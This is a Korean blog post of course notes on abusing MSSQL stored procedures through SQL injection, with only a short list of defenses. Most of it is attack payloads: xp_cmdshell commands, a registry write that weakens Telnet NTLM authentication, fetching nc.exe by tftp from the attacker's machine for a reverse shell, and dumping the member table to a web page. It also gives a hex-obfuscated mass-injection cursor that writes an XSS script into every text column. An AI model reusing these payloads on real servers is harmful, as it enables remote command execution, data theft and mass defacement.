31일차 Stored Procedure
* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.
게시된 내용들은 잘 알려져있는 기술들입니다. 따라서 악용하더라도 쉽게 적발되니
절대 악용해서는 안됩니다.
--------------------------------------------------------------------------------------------
* STORED PROCEDURE
-재사용성이 좋다.
-코드를 수정할 때,
-추후에 유지보수 할 때 좋다.
-권한 설정 할 때도 유연한 면이 있다.
-동적 쿼리문을 실행하는 것보다 처리속도가 훨씬 빠르다.
xp_cmdshell
시스템 명령어를 실행
xp_servicecontrol
윈도우 서비스를 제어
sp_makewebtast
쿼리의 결과를 웹 페이지로 생성
sp_addextendedproc
Drop 된 Stored Procedure를 등록
공격자는 이런 보안상 취약한 프로시저를 이용하여 쉘을 수행시키거나 쿼리의 결과를 HTML로 제공, 레지스트리 조작, 서비스 시작/중지, 시스템 정보 획득 등에 이용할 수 있다.
exec 실행
master 마스터 db에 있는
dbo.xp_cmdshell 이것으로
dir dir 실행시켜주세요
exec master.dbo.xp_cmdshell 'dir'
ex) c드라이브 보고싶다.
exec master.dbo.xp_cmdshell 'dir c:\'
이것은 해당 서버에서 실행되는 것이지 공격자에게 보내는 것이 아니다.
그러므로 일련의 확인 절차가 필요한데, ping을 활용해서 확인한다.
request가 잘오는 것이 보인다.
텔넷을 시도하는 상황이다.
; exec master..xp_servicecontrol 'start','TlntSvr'--
master 뒤에 .. 인데 dbo를 생략할 수도 있다.
TlntSvr은 텔넷
연결은 된 것같은데 제대로 되지 않는다.
서버2000에 가서 서비스를 확인해야겠다...
서비스는 제대로 시작된 것이 보인다..
하지만 왜 안되는걸까?
NTLM 인증 때문이다.
XP의 계정을 서버의 계정과 비교를 한다.
version2 는 안맞으면 바로 끊어버리고
version1 은 안맞으면 다시 로그인할 수있게 로그인 폼을 제공해준다.
그러모르 version1로 낮추는 작업을 해준다.
물론 공격자 입장인 xp에서 .
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0에 있는
NTLM 의 값을 1로 바꿔줘야한다.
공격자는 벡터에
;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\TelnetServer\1.0','NTLM','REG_DWORD',1--
라는 명령어를 사용한다.
루트키 , 서브키
정확히 입력안하면 실행에러가 나는 것이 아니라, 새로운 값이 그냥 만들어져 버린다.
; exec master..xp_servicecontrol 'stop','TlntSvr'--
; exec master..xp_servicecontrol 'start','TlntSvr'--
중지 시작으로 재시작을 해준다.
그럼 값이 바뀌게 되고
이런 창이 뜨게 된다.
하지만 관리자 계정 비밀번호를 모르기 때문에
아래를 참조하여 db 계정정보를 획득해야한다.
http://nevercmecry.tistory.com/admin/entry/post/?id=30
혹은
Reverse Shell 획득
-XP에서 tftp 서버 실행
- tftp 폴더에 'nc.exe'파일 있는지 확인
- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 GET nc.exe'--
- xp에서 포트 열기, nc -lvp 1234
- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 1234 -e cme.exe'--
파일 검색 및 다운로드.
(확인만 하려면 type <filename> 이용하면 됨.
이런식으로 가져올 수도 있다.
sp_makewebtask
;exec master..sp_makewebtask 'c:\inetpub\webhack\sql.html','select * from webhack..member'
;exec master..sp_dropextendedproc 'xp_cmdshell';
;exec master..xp_cmdshell 'dir'
;exec master..xp_cmdshell 'ping 10.10.10.4'--
;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
* SQL Injection
- 대응책사용자로부터 입력되는 값을 반드시 서버에서 체크한다.
- 문자열 길이를 확인한다. 문자열에 포함된 명령어가 있는지
- DB 계정의 권한을 낮춘다.
- 에러 메시지를 제한한다.
- WEB 방화벽 사용
* MASS SQL INJECTION
공격 한번에 대량의 db 변조를 하는 것
기본적인 mssql declare, set, if문
while
cursor는 입출력 인터페이스다.
쿼리문을 실행하고 그 결과를 하나씩 가져다주는 준비를 한다.
fetch next로 달라고 하면 레코드 하나씩 준다.
open cur 은 cur 시작과 메모리 할당이다
close cur
deallocate cur 메모리 할당 해제.
fetch next가 두번 실행돼서 두개를 가져온 모습이다.
@@fetch_status는 이미 만들어져 있는 함수이다.
fetch next를 했을때 가져온 결과가 있는 경우는 0이 들어간다.
갖고 올게 없다면 -2가 된다. 에러가 난 경우에는 -1이 된다.
응용을 한 것이다.
declare @T VARCHAR(1000), @C VARCHAR(1000)
declare cur cursor for
select table_name, column_name
from information_schema.columns
where data_type like '%varchar%' or data_type like '%text%'
open cur
fetch next from cur into @t, @c
while @@fetch_status = 0
begin
exec('update '+@t+' set '+@c+'=''<script>alert("xss");</script>''')
fetch next from cur into @t,@c
end
close cur
deallocate cur
board도 member도 들어갈 수 있는 공간은 다 들어가버린다.
게시판을 확인 했더니 설정해둔 스크립트가 동작하게 된다.
방금 쓴 쿼리를 16진수로 바꾼다.
http://bin-hex-converter.online-domain-tools.com/
16진수로 바꾼 것 앞에 declare @s varchar(1000); set @s=0x 를 붙인다.
0x를 붙여야 16진수로 인식한다. 그후에 @s에 대입 한 것이다.
후에 ; 붙이고 exec(@s)
그러면 대략 아래와 같은 모양
declare @s varchar(1000); set @s=0x6465636c61726520405420564152434841522831303030292c20404320564152434841522831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d650d0a66726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a2020202065786563282775706461746520272b40742b272073657420272b40632b273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a20202020656e640d0a636c6f7365206375720d0a6465616c6c6f63617465206375720d0a; exec(@s)
인젝션벡터에 활용해서 넣으면 된다!!
'정보보안' 카테고리의 다른 글
33일차 네트워크 해킹 zone transfer (0) | 2017.03.27 |
---|---|
32일차 MASS SQL INJECTION (0) | 2017.03.23 |
DBMS 마다 다른 한개만 보기 (0) | 2017.03.21 |
30일차 SQL인젝션, Blind Sql Injection (0) | 2017.03.21 |
29일차 데이터 스키마, SQL 인젝션 (0) | 2017.03.20 |